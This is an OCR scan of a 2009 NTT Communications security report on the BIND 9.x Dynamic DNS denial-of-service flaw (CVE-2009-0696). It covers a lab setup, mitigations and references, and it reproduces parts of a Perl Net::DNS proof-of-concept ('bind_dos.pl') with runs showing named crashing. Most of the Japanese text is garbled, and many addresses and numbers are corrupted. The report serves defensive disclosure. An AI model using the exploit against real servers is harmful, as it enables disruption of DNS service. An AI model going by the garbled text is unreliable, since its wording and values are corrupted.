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1. AEME

2009 4 7 /1 28 H{Z BIND 9.x ® Dynamic DNS D554 (CVE-2009-0696) & . ZD i
PEE22N T DoS B A THR B — R BABIENTZ, 20 DoS BB IR G KT DM Al hE
THY, DNS H— L TR T RIICESHHSN T FED, B S KA ICIA
NHENTHEIND,

ARUR—RTIE, ZORETIPEIC OV TRGEZAT o 7o REB R A2,

2. S DBE

2009 4 7 H 28 A2 A&7~ BIDN 9.x D ffagstE (CVE-2009-0696) T, BIND 9.x @
Dynamic DNS ¥BEDMaga A A L TR IEISH LU 7y b ikE 454 DNS — %4
7 SHHFENTES, Dynamic DNS SldLa—RIEFREFHIZFEH 95 DNS OREEETH D,

® Dynamic DNS ZF|HL T RWEETH- THEEE ST 5, (allow-update A7 —hA
>} C Dynamic DNS OF|HFZHIRL TG ES RIERICE L 21T 5, )
® BIND 9.x T/ —UFME~VAY —H— NELTHREL TV AT EEZ T,

ZOMEFIHEIC B DT — NEHAE DNRHCEE LR T U520 O 1E, DNS h— "% AL —
T XX Y P — L TR AL TWAEATH localhost DIEF X, 127.0.0.1 Dk 5|
EEENANOBR IR T HFN I RE2 G AT, ZOMF DO EEZ T HHETHD,
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3. RAEERIE

AL A — O LT RAEB B F OB T,

RELIRES
WEXNR WET
___[—
192.0.2.10 192.0.2.11
centos 5.3 centos 5.3
bind 9.6.1
BT R DI

[rootBns namedl# ifconfig eth@

fethd Link encap:Ethernet HWaddr 88:8C:29:6E:F1:AA
inet addr:192.8.2.18 Bcast:192.8.2.255 Mask:255.255.255.08
inetb addr: fe88::208c:29ff :febe:flaasb64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:58 errors:8 dropped:8 overruns:8 frame:8
TX packets:182 errors:8 dropped:8 overruns:8 carrier:8
collisions:B8 txqueuelen:18608
RX bytes:8794 (8.5 KiB) TX bytes:11738 (11.4 KiB)
Interrupt:67 Base address:8x2088

[rootBns namedl#

[rootBns namedl# ps auwx igrep named

froot 6153 6.8 8.8 8688 4556 7 22:38 B8:88 named
froot 6168 6.8 6.1 4776 664 ttyl 22:38 8:88 grep named
f[root@ns namedl#

[rootBns named1# _

B ST O

[root@ns “1# ifconfig eth@

ethd Link encap:Ethernet HWaddr BA:BC:Z29:47:A5:82
inet addr:192.8.2.11 Bcast:192.8.2.255 Mask:255.255.255.8
inetb addr: feB8::28c:29ff :fed4?:a582-64 Scope:Link
UF BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:23 errors:B dropped:B8 overruns:B frame:8
TX packets:6Z2 errors:8 dropped:8 overruns:H carrier:f
collisions:!B txqueuelen:1B888
RX bytes:1856 (1.8 KiB) TX bytes:9148 (8.9 KiB)
Interrupt:59 Base address:BxZ880

[root@ns “1#t _
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4. WEI—FDKREE

REETIL, ZOKEA—RIZRDBEN I+ DT T D120 VLSOO EAED FTK
Bo—REFTULI R ERT,

4.1. Dynamic DNS Z#]H L CWaWgE4 (IEF] )

Dynamic DNS ZFIIH] L TWZRWEEIZHOWT, ESI&E D L a— Rk 2BERERNT 5
Z & EREET D,

150855t 52 D DNS — B W T BIND NEEN L CW D H AR T 5

[root@ns namedl## ps ax i grep named
6232 7 Ss 8:88 named

6236 ttyl S+ 8:88 grep named
[root@ns named 1#

2. example.com DY — U PN A H —Hh— "L LTRESNTWDOHELMERT H, Fo
testexample.com D A L a— K3V —2 7 7 A VIR ESINTWD Z L 2R T 5,

zone "example.com” in {
type master:
file "db.example.com";

HH

ftest _____.mweo 26218 |

3. WEMOEGENS DNS Y 7 = A F&EE LT, DNSH— N ZIZIGET 5 F &
T D,

[root@ns “1# dig 0192.8.2.18 test.example.com A_

;<> DiG B.3 <> B192.8.2.18 test.example.com A

; (1 server found)

: res options: init recurs defnam dnsrch

; got answer:

;: —-»>HEADER<<{- opcode: QUERY, status: NOERROR, id: &

; flags: gqr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
; QUERY SECTION:

test.example.com, type = A, class = IN

:: ANSWER SECTION:
test.example.com. 1H IN A 192.8.2.11

:: AUTHORITY SECTION:
example.com. 1H IN N3 ns.example.com.

:: ADDITIDNAL SECTION:
.example.com. 1H IN A 192.8.2.18

; Total query time: 5 msec

;: FROM: ns to SERVER: 192.8.Z2.18
;2 WHEN: Fri Jul 31 23:23:16 Z889

; M3G SIZE sent: 34 rcvd: 83
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2119, (RIBY— "D IPT7T RLR, V—)

A
el
Y

4. BN DL R b BB 2 — ROk

#t susr/binsperl -uw
use Net::DNS:

our SHSI = ’192.8.2.18";

(i g QI‘IOI RET I‘I I = *

our SNSI_KEY = °’;

my Srzone = 'example.com’:
my Srptr = "test.Srzome":

my Spacket = Net::DNS::Update->new(Srzone)d:

Spacket->push(
pre => Het::DNS5::RR->new(
Hame => Srptr,
Class => "IN’,
Type => 'ANY’,
TTL => H,
)
b H
Spacket->push(
update => Net::DN3::RR->new(
Mame => Srptr,

5. MDA CHEa— NE2EITTDH, WINPT D ERRPBFPTIEEDDT,
Ctrl+C TFa 7 MR 5D,

[rootBnS “1# perl /tmpsbind_dos.pl
; HEADER SECTION
;5 id = 51877
;o ogqr = B opcode = UPDATE rcode = NOERROR
;; zocount = B prcount = 1 upcount = 1 adcount = 8

;; ZONE SECTION (1 record)
;; example.com. IN S0A

; PREREQUISITE SECTION (1 record)
test example.com. a IN ;> no data

;; UPDATE SECTION (1 record)
test.example.com. %] ANY ; no data

;; ADDITIONAL SECTION (8 records)

6. DNS — 3T BIND 2N#I{E L TWRWENHERTE 5,

f[rootBns namedl# ps ax i grep named
6247 ttyl S+ B:88 grep mamed

[ [rootBns namedI# o
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4.2. Dynamic DNS ZF|HL TWanWigas (#51%)

Dynamlc DNS ZFHH L TWRWGAIZOWT, W5l & DL a— NI 2B EDRHRIT 5
— k ff@ﬂﬂiﬁ‘éo

1 Dynamic DNS ZFIf] L TWARWIEAIZHOWT, #ig| & L a— FNkd 2 B8R A2 Bk
Wt 42D DNS H— 2B W T BIND 25 EEE) L TWA R A2 TERT 5,

[rootBns namedl#f ps ax | grep mamed
28589 7 Ss A:88 named

28591 ttyl 5+ A:88 grep named
[rootl@ns namedlf _

2.192.0.2.024 DYV — 2 DB E N~V AL —HP— L L THREINTWDEHFELHRT D,
F7- 1920210 DPTR L a2 — KRRV =0 T 7 A JUIREINTWDH Z L 2 fERT 5,

zone "Z2.B.192.in-addr.arpa” in {
type master:
file "db.192.8.2";

14 IN PTR ns.example.com.
11 IN PTR test.example.com.
3. B DA B DNS U 7 =2 b &34F LT, DNS H— "0 Z U IBE T o F o i

ﬁ'ﬂ‘j‘ 5 o

[root@ns 18 dig P192.8.2.10 -x 192.8.2.18 _

P <<>> DiG 8.3 <<>>» R192.8.2.18 -x
(1 server found)

; res options: init recurs defnam dnsrch

; got answer:

: ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6

; flags: gr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL:
;; QUERY SECTION:

H 18.2.8.192.in-addr.arpa, type = ANY, class = IN

ANSWER SECTION:

IB Z.8.192.in-addr.arpa. 1H IN PTR ns.example.com.

:: AUTHORITY SECTION:
2.8.192.in-addr .arpa. 1H IN NS ns.example.com.

:: ADDITIONAL SECTION:
ns.example.com. iH IN A 192.8.2.18

;: Total query time: 3 msec

;; FROM: ns to SERVER: 192.8.2.18
; WHEN: Mon Aug 3 22:27:86 Z689
;: M3G S5IZE =ent: 41 rcuvd: 99

[rootl@ns 718 _
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N
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Y

4, R OMEN LB — ROREEZITH), HEF—_"DIPT RL R, V—)

Ko
it

#t/usr-binsperl -w

use MNet::DNS:

IDlll"

O Jima L WL
Il:ll.ll"

SNSI_KEY = *°:

'Z2.8.192.in-addr.arpa’:
18 .9rzone";

my Srzone =
my Srptr =

my Spacket = Net::DNS::Update->new(Srzone):

Spacket->push(
pre => HNet::DN3::RR->new(

Name =2
Class =>
Type =>
TTL =>

Srptr,
» INJ )
"ANY’,
BJ

)
);
Spacket->push(
update => Net::DN3::RR->new(
Name => Srptr,
—-—-Mnre——-IAG¥Y

5. WEA| D K CHEE D — REFEITT 5D, WENKINT D EERRPIBRPTILEDDT,
Ctrl+C T’ 7 MR 5,

[rootl@ns "1# perl /tmprsbind_dos.pl

;; HEADER SECTION

;3 id = 62861
qr = H
zocount =

NOERROR
adcount = B

rcode =
upcount = 1

opcode = UPDATE
A prcount = 1

ZONE SECTION (1 record)
Z.8.192.in-addr .arpa. IN s0A

PREREQUISITE SECTION (1 record)

.2.8.192 . in-addr .arpa. a IN : no data
UPDATE SECTION (1 record)

.2.8.192 . in-addr .arpa. a : no data

ADDITIONAL SECTION (B records)

6. DNS #—/3C BIND ZAEE L COZARWHERHER TE 5,

[rootBns namedl#f ps ax | grep mamed
28686 ttyl 3+ B:88 grep named

[rootBns named 1# _
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43. AL—TREINT=Y — 2 DBE
= UERN AL —T =R LTCERESNLTWVD WCHENRKT 2 FHEMEET 5,

K552 DNS H— 82380 T example.com D Y — U EHN A L — 7 — L L%
EINTWSHZE L, BIND BEE L TV D EEHERT D,

[root@ns namedl# ps ax i grep named
b442 7 3= B:88 named
6449 ttyl S+ B:88 grep named

[root@ns named 1#
[root@ns named 14 _

2.127.0.0.024 DV — L DWW ENT AZ —HP— L L THESNTWAELIHEHRT S,

zone "example.com" in {
type slave:
file "bak.example.com";
masters { 192.8.2.1; I:

3. 132) LHABEOKE— REFITL, WENRKWT D L2HRT 5, WENRITE
WTH BIND S EH TWRWT & 2R 5,

[root@ns “1# perl stmpsbind_dos.pl
:: HEADER SECTION
;poid = 48132
;:pogqr = B opcode = UPDATE rcode = NOERROR
: zocount = B prcount = 1 wupcount = 1 adcount = 8

: ZONE SECTION (1 record)
; example.com. IN S0A

:: PREREQUISITE SECTION (1 record)
test.example.com. A IN : no data

;: UPDATE SECTION (1 record)
test.example.com. a ANY ; no data

:: ADDITIONAL SECTION (B records)

[root@ns “1# _

[rootBns named1# ps ax | grep named
6442 7 3= B:88 named

6454 ttyl 3+ B:88 grep named
[rootBns named 14 _
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5. RMEHIEDERERITHRE

AR T3, BIND 9.X S—¥H972 DNS — RO EfhD § & THEHA SN TWAEAIC., Al
DOMEFIVENR ED X 9B T D)2 HREE LT R 2 R~T,

5.1. Dynamic DNS $§REDFIHE ZHIFR L TW 255

Dynamic DNS #§EE DRI HFE ZHIR L TWAIGEIZOWTHRGEL ., RtkicX v o352 &
FRER LT,

1. example.com O Y — U Nv AL —H— L L TRHE SNV TV LG EIZ OV THRIET 5,
DNS #—/3"CiZ Dynamic DNS OFIH# % none IZHIfRT2HF L LT\ 5,

zone "example.com” in {
type master

021~ .I'L IR TArrer Y ,-u-.-..."

allow- update { none ; };

2. DNS #— 3T BIND 2NE#E) L TW A H A2 MR T 5,

[root@ns namedl# ps ax | grep named
6488 7 Ss A:88 named

6498 ttyl S+ B:88 grep named
[rootBns named 1#

3 HEBE DK CHED— NE2FTT 5, WEPENT S ERRPIEFTILEDLDT,
Ctrl+C T’ 7 MR 5,

[ruut@ns “1# perl stmpsbind_dos.pl

HH HEHDER SECTION

;i id = 37883

progr = B opcode = UPDATE rcode = NOERROR

;; zocount = B prcount = 1 upcount = 1 adcount = @

:: ZONE SECTION (1 record)
;; example.com. IN s0na

; PREREQUISITE SECTION (1 record)
test example.com. a IN : no data

:: UPDATE SECTION (1 record)
test.example.com. a ANY : no data

:: ADDITIONAL SECTION (B records)

4, DNS #— 3T BIND 28#I{E L TWRWEDER TE D,

6494 ttyl S+ A:88 grep named
[root@ns named 1# _

[root@ns namedl#f ps ax | grep named ‘

Copyright 2009 NTT Communications Corporation
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5.2. localhost ®IEB| X, 127.0.0.1 DB X ZAITABE L TWAE

&

VU NA L =T =R U TRE SN TV A A IIAMETINE: DB 2 52 T 7 W T
TICHER L=, —RENER S TW% DNS — 3 Tid, FOX @ X 512 localhost ™
EBI& & 127001 D5 & 2~ A X —H =L LTEREL TWDIHENREN, ZOHEIC
DWTHEEZITV, FERICH T o T2 R 2R Lz, 2B, VY —VEEHL TSty
v ¥ a2 — N ZRBWT Y, localhost DIEF| & & 127.001 D5 & &~ A X —H—L LT
BRE SILTCWADIGE, [FERICKENFRE L 12 D,

TAZ—DNSH—/\ (‘example.com )
ELTER Type: master
- y
( )
localhost
Type: master
| 1 (. e J
[— | e -
0.0.127.in-addr.arpa
DNS #1 Type: master
s y
AL—JDNSH—/ (example.com |
ELTEAR Type: slave
| oac )
(. / \ )
/éalhost N\
Type: master
L ([= || W g
0.0.127.in-addr.arpaJ
N  Type: master
DNS #2
Nt 7

~——

Copyright 2009 NTT Communications Corporation
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1. DNS #—NZF T 127.0.0.024 DY — > Difig| & N~ A X —Hh— L L TEREII
TWLHZMERT D,

"example.com” in {
type slave:
f1le "pak.example.com .
masters { 192.8.2.1; ¥:

"Z.8.192.in-addr.arpa” in {
type slave:
file "bak.192.8.2":

masters { 192.8.2.1: ¥

"localhost"” in {
type master:
file "localhost.zone":

"B8.8.127.in-addr.arpa” in {
type master:
TIie a6, 27 a.d -
allow-update { none: I:

— —Mnvre——-rAG+1
2. DNS #—/3C BIND N EEE) L TV A F 2R T 5,

[root@Bns named1# ps ax | grep named
6442 ? 3s B:H8 named

6462 ttyl S+ A:88 grep named
[rootl@ns named 1#

[rootBns named 14 _

3 HBEMDUHRNOHEA— FOREZITI. (HRI—1"DIPT FLA V=)

#t/usr-binsperl -w

use MNet::DNS:

our SNSI = "192.8.2.18° ;
our SNSI_KEY NAME = °‘’';:
our SNSI_KEY = *’';

my Srzone '8.8.172.in-addr.arpa’:
my Srptr "1.5rzone":

my Spacket = Net::DNS::Update->new(Srzone):

Spacket->push(
pre => HNet::DN3::RR->new(
Name => Srptr,
Class => "IN’,
Type => 'ANY’.
TTL => A,

)
);
Spacket->push(
update => Net::DN3::RR->new(
Name => Srptr,
—-—-Mnre——-IAG¥Y
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4 WEEZ DI A CHEa— RE2FTTDH, HENKINT S ERRZNDEFTIEE LD T,
Ctrl+C T’ ua 7 NMZE 5,

f[rootBns ~/1# perl /tmps/bind_dos.pl
|;; HEADER SECTION
id = 471508
qgr = @ opcode = UPDATE rcode = NOERROR
zocount = B prcount = 1 upcount = 1 adcount = 8

ZONE SECTION (1 record)
B8.8.127.in-addr.arpa. IN S0A

| PREREQUISITE SECTION (1 record)
51 8.8.127.in-addr.arpa. @ IN ANY

| UPDATE SECTION (1 record)
11.8.8.127 . in-addr .arpa. 8 ANY ANY

ADDITIONAL SECTION (8 records)

5. DNS #— 3T BIND 28#I{E L TWARWEDFHER TE D,

[root@ns namedl#f ps ax | grep named
6466 ttyl S+ A:88 grep named

[root@ns named1# _
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6. X&E (view 27— M A M &R L7-H AEHIR)

AMEFEDOHEA R E LCIEX 2V T 4 Ny FOwMMAE ET 2 0ERNH 508, /Sy
F O & BAICAT ) ERREERIEAIZHOWTIE, RS AT A AL HEET 5720
DO—RERIREIT 5, RETIX, view A7 — M A M & LT~ A X —H%—,3~D DNS
VIR NET 0y 735 HECOWTHAT S,

view 27— R A2 MTE O NER AN ZoBEL . AN DIE~ A Z —Hh— L UTRRE
SNTWBEY =257 =Y 2R3 5 Z & T, localhostX° 127.00 D L 9 g —H )L
D= ~DBEZHIRTEDL, ZOHEGF, AL TWELY =V BAL—TREL RS
TVWbHa T VY DNSH—N (B AV E) I8V TR K LD,

1. DNS #— 2B Cview A7 — F A > R CHIR L 72 H A IOV TRAET 5, v A X —
P— L LTHESNTWVD 127.0.0.0124 DV — 1%, 1P THIFR & 7= N EE="internal” ™
DA—PDORIZABRENTEY , AEE="external” D2 —P|ZABENTNDE Y — I LTA
L—TREERHSTNWDZ L HRERT 5,

acl "internal™{
127-8: 18-8:
¥

view "internal" {
match-clients { "internal”: }:

zone "example.com"” in {
type slave:
file "bak.example.com":
masters 1 192.8.2.1; ¥:
¥

zone "Z.8.192.in-addr.arpa” in {
type slave:
file "bak.192.8.2":
masters 1 192.8.2.1; }:

¥

zone "B.8.127.in-addr.arpa” in {
type master:
file "db.127.8.8":

Copyright 2009 NTT Communications Corporation
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view "external” {
match-clients { any: I:

zone "example.com” in {
type slave:
file "bak.example.com";
masters { 192.8.2.1; ¥:
¥:

zone "Z.8.192.in-addr.arpa” in {
type slave:
file "bak.192.8.2":
masters { 192.8.2.1: ¥:
¥
zone "." in {
type hint:
file "db.cache";

2. DNS #-— 3T BIND 2N #E) L TW A H A2 MR T 5,

[rootBns ~1#f ps ax | grep named
28258 7 S= A:88 named
28262 ttyl S+ A:88 grep named

[root@ns ~1#
oot [ H

3. WEEH DI R THEa— FEFETT 5

[rootBns "1# perl ~tmprsbind_dos.pl

:: HEADER SECTION

;i id = 3583

;rogr = B opcode = UPDATE rcode = NOERROR

; zocount = B prcount = 1 upcount = 1 adcount =B

; ZONE SECTION (1 record)
: B.B.1V2.in-addr.arpa. IN s0nA

;; PREREQUISITE SECTION (1 record)
1 B.A.17Z2.in-addr.arpa. B IN ANY

:: UPDATE SECTION (1 record)
1.8.8.172.in-addr.arpa. B ANY ANY

;; ADDITIONAL SECTION (B records)

[rootBns ~1# _

4. DNS H— N2\ T BIND 2MEIEE T AN 2 W E AR T 5,

[rootlns ~1#f ps ax | grep named
ZB258 7 3s A:88 named

28265 ttyl S+ A:88 grep named
[root@ns ~1# _
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7. FEH

A [E1D BIND 9.x Dffsgatt 4 FH 42 L fliHIC DNS — A {E1E TX 2 ENEIF Sz,
DNSIZIP Ry N —2 DBEOIKETHY . DNS HHIHTE RV EFFHEWIZT AT A%
KMEIE LT L E o TRWEORENDH S, DNS OE A X4 B O MMz LT RAID
W ZMEER LT, XREITH RETH D,

® fH/AR

A A O MagstEC T A EARTFIL, % =2V T 43>y F BIND 9.4.3-P3/9.5.1-P3/9.6.1-
PlLZEATH2ECTHD, (Fouro—REIsEl, 245MH)

® EIEXR

Ry FRBEHATERVEEIE. VAT AE2EPFIHATE R0 H MR T

W72 B FEIET D720, SEIOKETMEDEBEE Z TN A L —T— A {f# LT
SMEERHDH, ZORICEELTBEEVLDIE, AL—7HP =L LTEHLTWLHEA
ThH-oTh, AEH 5D localhost DIEF| & | 127.0.0.1 D5 Tk L Tv AL —H— L
LTWETHREL RS> TVWABEENH D, ZOEAEIL view 2T — kA > M Z&FIH L TH|
HEZHIRT DLEND D,
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8. #RAL{ERAE

NTT =3=2=S —var Rkt
IT ~ 3 DA M —EAEIEL R Y N — 7~ KA —E A
X2 )T AR —var s —

A EAh,

Ay S

PIH KA

9. 8%

1. [ISC] BIND Dynamic Update DoS
https!//www.isc.org/mode/474

2. [ISC] BIND Download
https://www.isc.org/downloadables/11

3. [JVNVU#725188] ISC BIND 9 I8} 5V —b 2iE M1 (DoS) D fagsik
http://jvn.jp/cert/JVNVU725188/

4. [SecurityFocus] ISC BIND 9 Remote Dynamic Update Message Denial of Service
Vulnerability
http://www.securityfocus.com/bid/35848

5.[CVE] CVE-2009-0696
http://[www.cve.mitre.org/cgi-bin/cvename.cgi’name=CVE-2009-0696

6.[JPCERT/CC] ISC BIND 9 D24 F L7z ¥ — & A5 i 5 BRI B D 1 B i
http://lwww.jpcert.or.jp/at/2009/at090016.txt

7.[TPA] DNS #—3 BIND D52 ¢
http://www.ipa.go.jp/security/ciadr/vul/20090731-bind.html

10. FEEE

® 20094 07 H 30 H : verl.0 AFH
® 2009408 H 04 H : verl.1 AFH

11. RFTMDO 2B URL

http://www.ntt.com/icto/security/data/soc.html#tsecurity_report
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e-mail: scan@ntt.com
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